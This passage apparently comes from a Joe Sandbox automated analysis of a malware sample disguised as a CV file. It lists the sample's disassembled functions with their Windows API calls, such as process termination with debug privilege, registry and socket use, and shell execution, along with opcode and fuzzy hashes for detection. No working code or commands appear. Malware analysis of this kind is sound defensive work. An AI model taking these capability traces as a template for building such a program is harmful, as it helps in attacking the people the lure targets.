                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: ShowWindow
                                                                  • String ID:
                                                                  • API String ID: 1268545403-0
                                                                  • Opcode ID: bcd74c2a99a57b09c41143b39fba7dd4ee80ffe6a6f03d75516a250af01bfa50
                                                                  • Instruction ID: 1ba67560711b225391c7ce74e04762c210c39d7a7e3c9a707cd6dab76018829f
                                                                  • Opcode Fuzzy Hash: bcd74c2a99a57b09c41143b39fba7dd4ee80ffe6a6f03d75516a250af01bfa50
                                                                  • Instruction Fuzzy Hash: 6641DA702056809ADB3A4B298DCDB66BAE5EB52304F79089FF067479E1EB70FC40D721
                                                                  Function 00B5B263 Relevance: 13.5, APIs: 9, Instructions: 49memorythreadCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • GetProcessHeap.KERNEL32(00000008,0000000C,00000000,00000000,?,00B5AEF1,00000B00,?,?), ref: 00B5B26C
                                                                  • HeapAlloc.KERNEL32(00000000,?,00B5AEF1,00000B00,?,?), ref: 00B5B273
                                                                  • GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002,?,00B5AEF1,00000B00,?,?), ref: 00B5B288
                                                                  • GetCurrentProcess.KERNEL32(?,00000000,?,00B5AEF1,00000B00,?,?), ref: 00B5B290
                                                                  • DuplicateHandle.KERNEL32(00000000,?,00B5AEF1,00000B00,?,?), ref: 00B5B293
                                                                  • GetCurrentProcess.KERNEL32(00000008,00000000,00000000,00000002,?,00B5AEF1,00000B00,?,?), ref: 00B5B2A3
                                                                  • GetCurrentProcess.KERNEL32(00B5AEF1,00000000,?,00B5AEF1,00000B00,?,?), ref: 00B5B2AB
                                                                  • DuplicateHandle.KERNEL32(00000000,?,00B5AEF1,00000B00,?,?), ref: 00B5B2AE
                                                                  • CreateThread.KERNEL32(00000000,00000000,00B5B2D4,00000000,00000000,00000000), ref: 00B5B2C8
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: Process$Current$DuplicateHandleHeap$AllocCreateThread
                                                                  • String ID:
                                                                  • API String ID: 1957940570-0
                                                                  • Opcode ID: ea7cc25ed1e5983827f96f623349b6156338afbf092d8b73dc3f606283e821d4
                                                                  • Instruction ID: 843dfeebe0438c19d6cac4d157428934f12cad6da24d2701871aa99d015c4ff7
                                                                  • Opcode Fuzzy Hash: ea7cc25ed1e5983827f96f623349b6156338afbf092d8b73dc3f606283e821d4
                                                                  • Instruction Fuzzy Hash: 6401CDB5240304BFEB10AFA5DC4EF6B7BACEB89711F018451FA06DB5A1CA759804CB75
                                                                  Function 00B7C43F Relevance: 12.7, APIs: 5, Strings: 2, Instructions: 401COMMON
                                                                  Download Yara Rule
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID:
                                                                  • String ID: NULL Pointer assignment$Not an Object type
                                                                  • API String ID: 0-572801152
                                                                  • Opcode ID: 06830d4f6ac074497f332f93dcbaa40d5485eedb04734d940ce402ba865e5e5b
                                                                  • Instruction ID: e9b0247dbcb572b7800c631442049a13c73d664f542132849dd3b7f8a8ae6ad5
                                                                  • Opcode Fuzzy Hash: 06830d4f6ac074497f332f93dcbaa40d5485eedb04734d940ce402ba865e5e5b
                                                                  • Instruction Fuzzy Hash: DBE1B471A00219AFDF14DFA4D881AAE7BF5EF48314F1480ADF929AB281D770ED45CB90
                                                                  Function 00B7BB08 Relevance: 12.5, APIs: 5, Strings: 2, Instructions: 264COMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: Variant$ClearInit$_memset
                                                                  • String ID: Incorrect Object type in FOR..IN loop$Null Object assignment in FOR..IN loop
                                                                  • API String ID: 2862541840-625585964
                                                                  • Opcode ID: 0c5cc1a08dc9043fa314e14e0a3aea5834874dc7d8595441220ceadda3c47f96
                                                                  • Instruction ID: f8d691084757dd6bba4e03d060ee3f3c62a52e84095eb9e34082cd299d15877b
                                                                  • Opcode Fuzzy Hash: 0c5cc1a08dc9043fa314e14e0a3aea5834874dc7d8595441220ceadda3c47f96
                                                                  • Instruction Fuzzy Hash: 2B918371904219ABDF24CFA5C844FAEB7F8EF45710F10C5A9F529AB291DB709944CFA0
                                                                  Function 00B8172F Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 135COMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                    • Part of subcall function 00B66532: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,?,00000000), ref: 00B66554
                                                                    • Part of subcall function 00B66532: Process32FirstW.KERNEL32(00000000,0000022C), ref: 00B66564
                                                                    • Part of subcall function 00B66532: CloseHandle.KERNEL32(00000000,?,00000000), ref: 00B665F9
                                                                  • OpenProcess.KERNEL32(00000001,00000000,?), ref: 00B8179A
                                                                  • GetLastError.KERNEL32 ref: 00B817AD
                                                                  • OpenProcess.KERNEL32(00000001,00000000,?), ref: 00B817D9
                                                                  • TerminateProcess.KERNEL32(00000000,00000000), ref: 00B81855
                                                                  • GetLastError.KERNEL32(00000000), ref: 00B81860
                                                                  • CloseHandle.KERNEL32(00000000), ref: 00B81895
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: Process$CloseErrorHandleLastOpen$CreateFirstProcess32SnapshotTerminateToolhelp32
                                                                  • String ID: SeDebugPrivilege
                                                                  • API String ID: 2533919879-2896544425
                                                                  • Opcode ID: 412e35c23c09401a85aa4bdbf7a86daf497992c5b50805e5b4db6ad310c01e21
                                                                  • Instruction ID: a449e433271d8fb52cf439d883d3747a743d17c394d1f3305ad79d140392bd24
                                                                  • Opcode Fuzzy Hash: 412e35c23c09401a85aa4bdbf7a86daf497992c5b50805e5b4db6ad310c01e21
                                                                  • Instruction Fuzzy Hash: B0419B72600200AFDB05EF58C8E6FADB7E5EF54700F0484D9F906AF292DB78A905CB95
                                                                  Function 00B8E397 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 108windowCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • ShowWindow.USER32(00BE1628,00000000,00BE1628,00000000,00000000,00BE1628,?,00B9DC5D,00000000,?,00000000,00000000,00000000,?,00B9DAD1,00000004), ref: 00B8E40B
                                                                  • EnableWindow.USER32(00000000,00000000), ref: 00B8E42F
                                                                  • ShowWindow.USER32(00BE1628,00000000), ref: 00B8E48F
                                                                  • ShowWindow.USER32(00000000,00000004), ref: 00B8E4A1
                                                                  • EnableWindow.USER32(00000000,00000001), ref: 00B8E4C5
                                                                  • SendMessageW.USER32(?,0000130C,00000000,00000000), ref: 00B8E4E8
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: Window$Show$Enable$MessageSend
                                                                  • String ID: @U=u
                                                                  • API String ID: 642888154-2594219639
                                                                  • Opcode ID: 99a6927587f6cb2af8fa210e06ec74ceab87900d3d53777b9dcfcd95824d3fa2
                                                                  • Instruction ID: f93e09e5203d230c488b955ddb420007219add406c327bc18e001ffb35edd3e6
                                                                  • Opcode Fuzzy Hash: 99a6927587f6cb2af8fa210e06ec74ceab87900d3d53777b9dcfcd95824d3fa2
                                                                  • Instruction Fuzzy Hash: C5410834601141AFDB26DF28C499B987BE1FF09304F5C81E9EA6D8F6A2C771E845CB51
                                                                  Function 00B65819 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 81windowCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • LoadIconW.USER32(00000000,00007F03), ref: 00B658B8
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: IconLoad
                                                                  • String ID: blank$info$question$stop$warning
                                                                  • API String ID: 2457776203-404129466
                                                                  • Opcode ID: 0db8de552b0c3d87beebd1e390c3e7c1bf1f9c49dccd0b1b2f474f8371753ee7
                                                                  • Instruction ID: 3bd89560983ade8e73a5360850aebc3be675fc28667692a7dc638fd817062a22
                                                                  • Opcode Fuzzy Hash: 0db8de552b0c3d87beebd1e390c3e7c1bf1f9c49dccd0b1b2f474f8371753ee7
                                                                  • Instruction Fuzzy Hash: BB113A3120DB42BEE7205B549C82DAA67DCDF15720F2000FBF641E7682F7B8AA105A65
                                                                  Function 00B6A729 Relevance: 12.3, APIs: 8, Instructions: 317COMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • SafeArrayGetVartype.OLEAUT32(?,00000000), ref: 00B6A806
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: ArraySafeVartype
                                                                  • String ID:
                                                                  • API String ID: 1725837607-0
                                                                  • Opcode ID: 23db00ae6e17e6ba25e4e6eaac4bbfa25ec61c44f7c22f3d3a3f0bf5fa32f1fc
                                                                  • Instruction ID: 9726c6840369649475c81612095db6f3345d55a489952810f7cf90c26e559c74
                                                                  • Opcode Fuzzy Hash: 23db00ae6e17e6ba25e4e6eaac4bbfa25ec61c44f7c22f3d3a3f0bf5fa32f1fc
                                                                  • Instruction Fuzzy Hash: 66C14B75A0421ADFDF04DF98D481BAEB7F4EF09315F2440AAE616E7281D738AA41CF91
                                                                  Function 00B66B49 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 46windowCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • GetModuleHandleW.KERNEL32(00000000,?,?,00000100,00000000), ref: 00B66B63
                                                                  • LoadStringW.USER32(00000000), ref: 00B66B6A
                                                                  • GetModuleHandleW.KERNEL32(00000000,00001389,?,00000100), ref: 00B66B80
                                                                  • LoadStringW.USER32(00000000), ref: 00B66B87
                                                                  • _wprintf.LIBCMT ref: 00B66BAD
                                                                  • MessageBoxW.USER32(00000000,?,?,00011010), ref: 00B66BCB
                                                                  Strings
                                                                  • %s (%d) : ==> %s: %s %s, xrefs: 00B66BA8
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: HandleLoadModuleString$Message_wprintf
                                                                  • String ID: %s (%d) : ==> %s: %s %s
                                                                  • API String ID: 3648134473-3128320259
                                                                  • Opcode ID: 25068c75f11bb8d7daf0a17a26f738db23ad6b3c7565ad184d5a40efd8af04f6
                                                                  • Instruction ID: 82b8194b2fa8a745704e9c0c4641d30705c44fe74476b5183fc20e47b9a5c281
                                                                  • Opcode Fuzzy Hash: 25068c75f11bb8d7daf0a17a26f738db23ad6b3c7565ad184d5a40efd8af04f6
                                                                  • Instruction Fuzzy Hash: FC0112F6900208BFE711AB949D8AEF677ACEB05304F0044A5B746E3451EE749E848F75
                                                                  Function 00B82B19 Relevance: 12.3, APIs: 8, Instructions: 251registryCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                    • Part of subcall function 00B83C06: CharUpperBuffW.USER32(?,?,?,?,?,?,?,00B82BB5,?,?), ref: 00B83C1D
                                                                  • RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00B82BF6
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: BuffCharConnectRegistryUpper
                                                                  • String ID:
                                                                  • API String ID: 2595220575-0
                                                                  • Opcode ID: 7cd2fce35b01ddb770279ddfae38ab857f7de05793bd1460c6c8defa78a0b2a4
                                                                  • Instruction ID: 5f872b5d2a4d98d12347aabe3ae82f14d28876efae955fc98cee2a35a8554684
                                                                  • Opcode Fuzzy Hash: 7cd2fce35b01ddb770279ddfae38ab857f7de05793bd1460c6c8defa78a0b2a4
                                                                  • Instruction Fuzzy Hash: AF915875204201AFCB11EF54C895B6EBBE5FF88310F14889DF99A972A2DB34E945CF42
                                                                  Function 00B795BF Relevance: 12.2, APIs: 8, Instructions: 247networkCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • select.WSOCK32 ref: 00B79691
                                                                  • WSAGetLastError.WSOCK32(00000000), ref: 00B7969E
                                                                  • __WSAFDIsSet.WSOCK32(00000000,?,00000000), ref: 00B796C8
                                                                  • #17.WSOCK32(00000000,?,?,00000000,?,00000010), ref: 00B796E9
                                                                  • WSAGetLastError.WSOCK32(00000000), ref: 00B796F8
                                                                  • htons.WSOCK32(?,?,?,00000000,?), ref: 00B797AA
                                                                  • inet_ntoa.WSOCK32(?,?,?,?,?,?,?,?,?,?,?,?,00BBDC00), ref: 00B79765
                                                                    • Part of subcall function 00B5D2FF: _strlen.LIBCMT ref: 00B5D309
                                                                  • _strlen.LIBCMT ref: 00B79800
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: ErrorLast_strlen$htonsinet_ntoaselect
                                                                  • String ID:
                                                                  • API String ID: 3480843537-0
                                                                  • Opcode ID: 54a40eae8322c71302763d246590782e3727446b2ceaa250329691f5ea675e11
                                                                  • Instruction ID: b9bb1aeccf9ab3da69e9c3a2ae4aa553d702e1ddb707dce876b160f4f4be58c2
                                                                  • Opcode Fuzzy Hash: 54a40eae8322c71302763d246590782e3727446b2ceaa250329691f5ea675e11
                                                                  • Instruction Fuzzy Hash: C081B271504240ABC714EF64DC86E6FBBE8EF85714F108A9DF56A9B291EB30DD04CB92
                                                                  Function 00B4A979 Relevance: 12.1, APIs: 8, Instructions: 118COMMONLIBRARYCODE
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • __mtinitlocknum.LIBCMT ref: 00B4A991
                                                                    • Part of subcall function 00B47D7C: __FF_MSGBANNER.LIBCMT ref: 00B47D91
                                                                    • Part of subcall function 00B47D7C: __NMSG_WRITE.LIBCMT ref: 00B47D98
                                                                    • Part of subcall function 00B47D7C: __malloc_crt.LIBCMT ref: 00B47DB8
                                                                  • __lock.LIBCMT ref: 00B4A9A4
                                                                  • __lock.LIBCMT ref: 00B4A9F0
                                                                  • InitializeCriticalSectionAndSpinCount.KERNEL32(8000000C,00000FA0,00BD6DE0,00000018,00B55E7B,?,00000000,00000109), ref: 00B4AA0C
                                                                  • EnterCriticalSection.KERNEL32(8000000C,00BD6DE0,00000018,00B55E7B,?,00000000,00000109), ref: 00B4AA29
                                                                  • LeaveCriticalSection.KERNEL32(8000000C), ref: 00B4AA39
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: CriticalSection$__lock$CountEnterInitializeLeaveSpin__malloc_crt__mtinitlocknum
                                                                  • String ID:
                                                                  • API String ID: 1422805418-0
                                                                  • Opcode ID: fa7ab87606e72db9e21b165efa7a890e560379a7fb83f3cac31651b5a7dfa6ca
                                                                  • Instruction ID: feb299be1b97cda910f857a00bd018d18c6eaf3c10747b51bd3686f9fef123b0
                                                                  • Opcode Fuzzy Hash: fa7ab87606e72db9e21b165efa7a890e560379a7fb83f3cac31651b5a7dfa6ca
                                                                  • Instruction Fuzzy Hash: F6414B71A802059BEB10DF68D9C575CB7F0EF05335F108398E425AB2D2DBB49E40DB82
                                                                  Function 00B716DA Relevance: 10.8, APIs: 5, Strings: 1, Instructions: 309COMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                    • Part of subcall function 00B2936C: __swprintf.LIBCMT ref: 00B293AB
                                                                    • Part of subcall function 00B2936C: __itow.LIBCMT ref: 00B293DF
                                                                    • Part of subcall function 00B3C6F4: _wcscpy.LIBCMT ref: 00B3C717
                                                                  • _wcstok.LIBCMT ref: 00B7184E
                                                                  • _wcscpy.LIBCMT ref: 00B718DD
                                                                  • _memset.LIBCMT ref: 00B71910
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: _wcscpy$__itow__swprintf_memset_wcstok
                                                                  • String ID: X
                                                                  • API String ID: 774024439-3081909835
                                                                  • Opcode ID: fd50b2e4272b2068ec45ece77361a04e9d9340e0a33594677de7081174baee88
                                                                  • Instruction ID: 6d63987707c39b4301761adebbfe219647d13f7d1581f1f371f12511011b5976
                                                                  • Opcode Fuzzy Hash: fd50b2e4272b2068ec45ece77361a04e9d9340e0a33594677de7081174baee88
                                                                  • Instruction Fuzzy Hash: 74C16F316043509FC724EF28D995A9AB7E4FF45350F0089ADF9AD972A2DB30ED05CB92
                                                                  Function 00B3AE78 Relevance: 10.7, APIs: 7, Instructions: 218COMMON
                                                                  Download Yara Rule
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID:
                                                                  • String ID:
                                                                  • API String ID:
                                                                  • Opcode ID: 1743c6cf1d8a887cbebbd8f4d14fe84c70fb3c2e1dc434a72fae5614b1fdb037
                                                                  • Instruction ID: 86fbe8e3a903e9f8600d290c9afb0fea85daaf813b8ce73f762e23fbc07f2174
                                                                  • Opcode Fuzzy Hash: 1743c6cf1d8a887cbebbd8f4d14fe84c70fb3c2e1dc434a72fae5614b1fdb037
                                                                  • Instruction Fuzzy Hash: 2B715AB1904109EFCB14CF98CC89AAEBBB9FF85314F348199F955AB251C730AA41CF65
                                                                  Function 00B82230 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 191COMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • _memset.LIBCMT ref: 00B8225A
                                                                  • _memset.LIBCMT ref: 00B82323
                                                                  • ShellExecuteExW.SHELL32(?), ref: 00B82368
                                                                    • Part of subcall function 00B2936C: __swprintf.LIBCMT ref: 00B293AB
                                                                    • Part of subcall function 00B2936C: __itow.LIBCMT ref: 00B293DF
                                                                    • Part of subcall function 00B3C6F4: _wcscpy.LIBCMT ref: 00B3C717
                                                                  • CloseHandle.KERNEL32(00000000), ref: 00B8242F
                                                                  • FreeLibrary.KERNEL32(00000000), ref: 00B8243E
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: _memset$CloseExecuteFreeHandleLibraryShell__itow__swprintf_wcscpy
                                                                  • String ID: @
